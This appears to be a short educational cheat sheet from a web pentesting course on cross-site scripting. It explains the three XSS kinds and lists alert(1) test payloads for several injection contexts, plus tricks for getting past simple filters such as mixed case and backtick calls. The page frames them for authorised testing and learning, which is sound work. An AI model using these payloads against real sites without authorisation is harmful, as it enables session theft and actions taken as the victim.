Cross-site scripting (XSS) is injecting JavaScript that runs in another user's browser. Which payload works depends entirely on where your input lands in the page. Test only apps you are authorised to test; practise freely in the XSS lab of the free Web Pentesting course.
The three kinds
- Reflected - your input bounces straight back in the response (e.g. a search box)
- Stored - your input is saved and served to other users (e.g. a comment)
- DOM - client-side JavaScript writes your input into the page unsafely
Classic test payloads
<script>alert(1)</script>- the textbook probe<img src=x onerror=alert(1)>- fires when the image fails to load<svg onload=alert(1)>- short and filter-friendly
By context
- Inside an HTML attribute: break out first -
"><svg onload=alert(1)> - Inside an existing <script>: close it -
</script><script>alert(1)</script> - Inside a JS string:
';alert(1)// - Inside a URL/href:
javascript:alert(1)
Getting past simple filters
- Mixed case:
<ScRiPt>if the filter only matches lowercase - No parentheses:
<img src=x onerror=alert`1`> - HTML entities / encoding when the input is decoded before it is rendered
Why it matters
Real XSS steals sessions, performs actions as the victim, or defaces the page. Prove it to yourself in the XSS lab, then read how to defend against it across the rest of the free Web Pentesting course.